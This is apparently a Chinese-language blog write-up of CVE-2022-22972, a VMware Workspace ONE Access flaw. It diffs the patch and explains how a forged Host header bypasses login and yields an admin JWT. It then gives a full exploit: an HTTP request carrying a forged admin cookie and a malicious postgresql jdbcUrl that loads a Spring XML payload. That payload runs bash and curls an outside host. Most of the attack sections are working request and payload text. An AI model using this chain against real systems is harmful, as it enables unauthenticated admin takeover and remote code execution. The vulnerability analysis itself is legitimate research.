CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE

警告
本文最后更新于 2022-05-27,文中内容可能已过时。

# 补丁对比

HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter,匹配全路由

image.png

然后删除了DBConnectionCheckController,这个地方有jdbc attack。

# 权限绕过

查看HostHeaderFilter代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
package com.vmware.horizon;

import com.google.common.annotations.VisibleForTesting;
import com.tricipher.saas.action.api.GlobalConfigService;
import com.vmware.horizon.common.utils.HorizonPropertyHolder;
import com.vmware.horizon.common.utils.system.ApplianceNetworkDetails;
import com.vmware.horizon.common.utils.system.ApplianceUtil;
import java.io.IOException;
import java.util.Optional;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@Component("HostHeaderFilter")
public class HostHeaderFilter implements Filter {
    private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class);
    private static final String LOCALHOST = "localhost";
    private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1";
    private static final int INVALID_HOST_NAME_STATUS_CODE = 444;
    @Autowired
    private HorizonPropertyHolder horizonPropertyHolder;
    @Autowired
    private ApplianceUtil applianceUtil;
    @Autowired
    private GlobalConfigService globalConfigService;
    private ApplianceNetworkDetails applianceNetworkDetails = null;
    private Boolean isOnPremise;
    private Boolean isSingleTenant;

    public HostHeaderFilter() {
        this.isOnPremise = Boolean.FALSE;
        this.isSingleTenant = Boolean.FALSE;
    }

    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
        this.isOnPremise = this.globalConfigService.isServiceOnPrem();
        this.isSingleTenant = this.globalConfigService.isServiceSingleTenant();
        if (this.applianceNetworkDetails == null) {
            this.applianceNetworkDetails = (ApplianceNetworkDetails)Optional.ofNullable(this.applianceUtil.getApplianceNetworkDetails()).orElse(new ApplianceNetworkDetails());
        }

        if (request != null && request instanceof HttpServletRequest) {
            HttpServletRequest httpServletRequest = (HttpServletRequest)request;
            String serverName = httpServletRequest.getServerName();
            if (StringUtils.isNotBlank(httpServletRequest.getHeader("Host")) && StringUtils.isNotBlank(serverName)) {
                serverName = serverName.trim();
                String gatewayHostName = StringUtils.isNotBlank(this.horizonPropertyHolder.getGatewayHostName()) ? this.horizonPropertyHolder.getGatewayHostName().trim() : "";
                boolean isValidServerName = this.isServerNameAmongTheValidList(serverName, gatewayHostName);
                if (!isValidServerName) {
                    isValidServerName = this.isServerNameValidForMultiTenantOnPremOrCloudCase(serverName, gatewayHostName);
                }

                if (!isValidServerName) {
                    log.error("Rejecting request since host header value does not match configured gateway.hostname or localhost or appliance hostname/IP address: {} ", serverName);
                    if (response instanceof HttpServletResponse) {
                        ((HttpServletResponse)response).setStatus(444);
                    }

                    return;
                }
            }
        }

        filterChain.doFilter(request, response);
    }

    public void destroy() {
    }

    private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
        return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) || serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
    }

    private boolean isServerNameValidForMultiTenantOnPremOrCloudCase(String serverName, String gatewayHostName) {
        if (!this.isSingleTenant || !this.isOnPremise) {
            String gatewayDomainName = this.getDomainFromHostname(gatewayHostName);
            if (StringUtils.isNotBlank(gatewayDomainName) && serverName.toLowerCase().endsWith(gatewayDomainName.toLowerCase())) {
                return Boolean.TRUE;
            }
        }

        return Boolean.FALSE;
    }

    @VisibleForTesting
    String getDomainFromHostname(String hostname) {
        return StringUtils.isNotBlank(hostname) && hostname.indexOf(46) > 0 ? StringUtils.substring(hostname, hostname.indexOf(".") + 1).trim() : "";
    }
}

可见对host做了判断,那么伪造host为我们自己的http服务呢?

在登录请求包中修改host为我们的恶意服务端

image.png

发现服务器对我们的恶意服务端发起了请求。

image.png

随便给一个host

image.png

此时查看log发现vm在尝试解析主机名并对其发起了请求。

image.png

回溯堆栈,在com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login

image.png

将传入的账号密码调用本地密码服务发起http请求api来鉴权,然后通过generateSuccessResponse()返回授权成功,其中endpoint来自于com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl

image.png

这里用request.getServerName()造成了可以伪造host来控制授权服务。

接着来把host设置为dnslog,看一下请求中包含的东西

image.png

此时响应包中返回了授权成功的cookie

image.png

jwt解出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{
  "jti": "3b448f71-f384-481c-be2d-8e91f7062208",
  "prn": "admin@VM",
  "domain": "System Domain",
  "user_id": "5",
  "auth_time": 1653647444,
  "iss": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth",
  "aud": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth/oauthtoken",
  "ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653647444,\"id\":3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]",
  "scp": "profile admin user email operator",
  "idp": "2",
  "eml": "[email protected]",
  "cid": "",
  "did": "",
  "wid": "",
  "rules": {
    "expiry": 1653676244,
    "rules": [
      {
        "name": null,
        "disabled": false,
        "description": null,
        "resources": [
          "*"
        ],
        "actions": [
          "*"
        ],
        "conditions": null,
        "advice": null
      }
    ],
    "link": null
  },
  "pid": "3b448f71-f384-481c-be2d-8e91f7062208",
  "exp": 1653676244,
  "iat": 1653647444,
  "sub": "d054089a-6044-4486-b534-8b0dd105f803",
  "prn_type": "USER"
}

由此就绕过了鉴权。

# rce

jdbc postgresql rce

1
2
3
4
5
6
7
POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1
Host: vm.test.local
Cookie: HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJwcm4iOiJhZG1pbkBWTSIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjoiNSIsImF1dGhfdGltZSI6MTY1MzY0NzgwMiwiaXNzIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoL29hdXRodG9rZW4iLCJjdHgiOiJbe1wibXRkXCI6XCJ1cm46dm13YXJlOm5hbWVzOmFjOmNsYXNzZXM6TG9jYWxQYXNzd29yZEF1dGhcIixcImlhdFwiOjE2NTM2NDc4MDIsXCJpZFwiOjMsXCJ0eXBcIjpcIjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAxNFwiLFwiaWRtXCI6dHJ1ZX1dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImxvY2FsQWRtaW5AZXhhbXBsZS5jb20iLCJjaWQiOiIiLCJkaWQiOiIiLCJ3aWQiOiIiLCJydWxlcyI6eyJleHBpcnkiOjE2NTM2NzY2MDIsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmFsc2UsImRlc2NyaXB0aW9uIjpudWxsLCJyZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0aW9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm51bGx9LCJwaWQiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJleHAiOjE2NTM2NzY2MDIsImlhdCI6MTY1MzY0NzgwMiwic3ViIjoiZDA1NDA4OWEtNjA0NC00NDg2LWI1MzQtOGIwZGQxMDVmODAzIiwicHJuX3R5cGUiOiJVU0VSIn0.OJnqYjukOzG4ev45jp0eNtyy97oirmYOLnhDgGtQQZLipmqhVHvRoSKIRg3rtAiXWurL4HbnTqjLtkQARU1K4D8ufnqiVgob0lzTfoa43GQ2XqFdzvekoHpr4_72a7egn4blB1PiOj_qi3sGmbwPbPPHYv3rRGaRroRsPFRFw-JWWRhSoNa34ggkm3_3XFP25ebXoi6-aHQUh_UzWmW6T-KUcEehGA46vOWdMek0UbyjCe-7e1NPwwf-TeJievzthPubiTWB5lTV25OC5S1B-o715t3nc4j4VDUzh3LBsDpNbM_S4g7Mf9ChQUHiM2GbXEhRI3ot9wCDPXBr2vysjQ;
Content-Type: application/x-www-form-urlencoded
Content-Length: 196

jdbcUrl=jdbc:postgresql://localhost/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=http://192.168.1.178:9091/exp.xml&dbUsername=&dbPassword=

exp.xml如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value>curl 192.168.1.178:9091/pwned</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

image.png

# 总结

挺离谱的洞

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。